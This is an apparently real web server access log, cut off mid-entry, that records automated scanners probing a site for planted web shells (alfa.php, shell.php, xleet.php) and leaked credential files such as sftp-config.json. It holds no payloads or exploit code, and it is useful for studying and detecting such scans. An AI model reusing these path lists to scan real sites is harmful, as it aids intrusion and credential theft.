[28/Apr/2025:18:05:21 -0400] "GET /.well-known/pki-validation/content.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:05:35 -0400] "GET /.well-known/pki-validation/fond.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:05:55 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:05:57 -0400] "GET /.well-known/pki-validation/worksec.php HTTP/1.1" 301 795 "-" "get_local:DCV" 162.0.232.217 - - [28/Apr/2025:18:06:08 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "get_local:DCV" 222.79.103.59 - - [28/Apr/2025:18:46:34 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 192.178.6.72 - - [28/Apr/2025:19:05:10 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 192.178.6.72 - - [28/Apr/2025:19:05:10 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 162.0.232.217 - - [28/Apr/2025:20:00:45 -0400] "GET /.well-known/pki-validation/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:00:49 -0400] "GET /.well-known/pki-validation/eew.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [28/Apr/2025:20:00:58 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:01:08 -0400] "GET /.well-known/pki-validation/.qiodetme.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 162.0.232.217 - - [28/Apr/2025:20:01:26 -0400] "GET /.well-known/pki-validation/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 162.0.232.217 - - [28/Apr/2025:20:01:36 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 162.0.232.217 - - [28/Apr/2025:20:01:41 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:01:44 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 162.0.232.217 - - [28/Apr/2025:20:01:49 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:01:52 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:01:53 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [28/Apr/2025:20:01:55 -0400] "GET /.well-known/pki-validation/ssl.php%3fxsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [28/Apr/2025:20:01:56 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 162.0.232.217 - - [28/Apr/2025:20:01:58 -0400] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:00 -0400] "GET /.well-known/pki-validation/classwithtostring.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 162.0.232.217 - - [28/Apr/2025:20:02:01 -0400] "GET /.well-known/pki-validation/scripts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:08 -0400] "GET /.well-known/pki-validation/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:09 -0400] "GET /.well-known/pki-validation/baja.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:10 -0400] "GET /.well-known/pki-validation/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:12 -0400] "GET /.well-known/pki-validation/iR7SzrsOUEP.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:16 -0400] "GET /.well-known/pki-validation/flower.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:16 -0400] "GET /.well-known/pki-validation/wrapper.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:17 -0400] "GET /.well-known/pki-validation/web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:02:17 -0400] "GET /.well-known/pki-validation/index1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 162.0.232.217 - - [28/Apr/2025:20:02:35 -0400] "GET /.well-known/pki-validation/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 162.0.232.217 - - [28/Apr/2025:20:03:12 -0400] "GET /.well-known/pki-validation/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:03:16 -0400] "GET /.well-known/pki-validation/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 162.0.232.217 - - [28/Apr/2025:20:03:17 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:03:20 -0400] "GET /.well-known/pki-validation/wp-conf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 162.0.232.217 - - [28/Apr/2025:20:03:27 -0400] "GET /.well-known/pki-validation/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 162.0.232.217 - - [28/Apr/2025:20:03:46 -0400] "GET /.well-known/pki-validation/class.api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 162.0.232.217 - - [28/Apr/2025:20:03:50 -0400] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 162.0.232.217 - - [28/Apr/2025:20:05:28 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 13.77.80.114 - - [28/Apr/2025:20:57:39 -0400] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:40 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:40 -0400] "GET /1.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:41 -0400] "GET /flower.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:41 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:41 -0400] "GET /file.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:42 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:42 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:42 -0400] "GET /about.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:42 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:43 -0400] "GET /goods.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:43 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:43 -0400] "GET /yindu.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:43 -0400] "GET /wp-admin/class-db.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:44 -0400] "GET /baxa1.phP8 HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:44 -0400] "GET /baxa1.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:44 -0400] "GET /.well-known//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:45 -0400] "GET /libraries/phpmailer//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:45 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:46 -0400] "GET /wp-admin/css/colors/blue//1.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:46 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:46 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:47 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:47 -0400] "GET /wp-content/uploads/BbUMY/flower.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:47 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:48 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:48 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:48 -0400] "GET /wp-includes/css//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:48 -0400] "GET /wp-includes/css//xc.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:49 -0400] "GET /wp-includes/images//about.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:49 -0400] "GET /wp-includes/images/crystal//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:50 -0400] "GET /wp//index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:50 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:51 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:51 -0400] "GET /chosen.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:52 -0400] "GET /functions.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:52 -0400] "GET /cron.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:53 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:53 -0400] "GET /gecko-new.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:53 -0400] "GET /cookie.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:54 -0400] "GET /xleet.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:54 -0400] "GET /spip.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:54 -0400] "GET /22.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:55 -0400] "GET /room.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:55 -0400] "GET /disagreed.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:55 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:56 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:56 -0400] "GET /alfa-rex.php7 HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:56 -0400] "GET /feeds.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:56 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:57 -0400] "GET /dropdown.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:57 -0400] "GET /defaults.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:57 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:58 -0400] "GET /colors.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:58 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:58 -0400] "GET /alfa-rex1.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:59 -0400] "GET /wp-index.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:57:59 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:00 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:00 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:01 -0400] "GET /locale.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:01 -0400] "GET /wxo.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:01 -0400] "GET /colour.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:02 -0400] "GET /files.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:02 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:03 -0400] "GET /wp-contentt.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:04 -0400] "GET /config.php7 HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:04 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:05 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:06 -0400] "GET /block-bindings.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:07 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:08 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:08 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:09 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:10 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:10 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:10 -0400] "GET /configs.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:11 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:11 -0400] "GET /update.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:12 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:12 -0400] "GET /input.php HTTP/1.1" 301 795 "-" "-" 13.77.80.114 - - [28/Apr/2025:20:58:13 -0400] "GET /aaa.php HTTP/1.1" 301 795 "-" "-" 45.138.16.69 - - [28/Apr/2025:21:06:43 -0400] "GET / HTTP/1.1" 301 795 "designpitara.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0" 2602:fb54:9bb:: - - [28/Apr/2025:21:42:42 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "ShellBot 2.0" 43.159.149.56 - - [28/Apr/2025:21:45:37 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 60.188.57.0 - - [28/Apr/2025:21:57:32 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 188.166.250.75 - - [28/Apr/2025:22:33:51 -0400] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 188.166.250.75 - - [28/Apr/2025:22:33:53 -0400] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 66.249.72.229 - - [28/Apr/2025:22:56:57 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 66.249.72.228 - - [28/Apr/2025:22:56:58 -0400] "GET /ads.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 35.93.14.143 - - [28/Apr/2025:23:09:27 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" 51.8.118.148 - - [28/Apr/2025:23:22:54 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 54.152.249.167 - - [28/Apr/2025:23:32:08 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 91.84.102.194 - - [28/Apr/2025:23:35:42 -0400] "GET / HTTP/1.1" 301 795 "http://designpitara.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 18.223.108.59 - - [28/Apr/2025:23:37:36 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 43.157.38.228 - - [28/Apr/2025:23:48:00 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 52.169.106.13 - - [29/Apr/2025:00:03:21 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:21 -0400] "GET /wp-includes/style-engine/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:22 -0400] "GET /.well-knownold/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:23 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:24 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:25 -0400] "GET /wp-includes/Requests/Transport/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:25 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:27 -0400] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:27 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:28 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:30 -0400] "GET /wp-includes/rest-api/fields/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:30 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:32 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:33 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:33 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:34 -0400] "GET /wp-includes/rest-api/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:35 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:36 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:37 -0400] "GET /wp-includes/SimplePie/Content/Type/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:38 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:39 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:40 -0400] "GET /wp-includes/html-api/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:41 -0400] "GET /wp-includes/pomo/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:41 -0400] "GET /wp-comments-post.php HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:42 -0400] "GET /wp-includes/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:42 -0400] "GET /Assets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:43 -0400] "GET /wp-includes/php-compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:44 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:44 -0400] "GET /wp-includes/sodium_compat/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:45 -0400] "GET /wp-includes/customize/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:45 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:46 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:46 -0400] "GET /local/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:47 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:47 -0400] "GET /wp-includes/js/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:48 -0400] "GET /wp-includes/widgets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:48 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:49 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:50 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:51 -0400] "GET /wp-includes/Text/Diff/Engine/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:51 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:52 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:53 -0400] "GET /Site/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:03:53 -0400] "GET /template/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:07 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:08 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:08 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.169.106.13 - - [29/Apr/2025:00:04:09 -0400] "GET 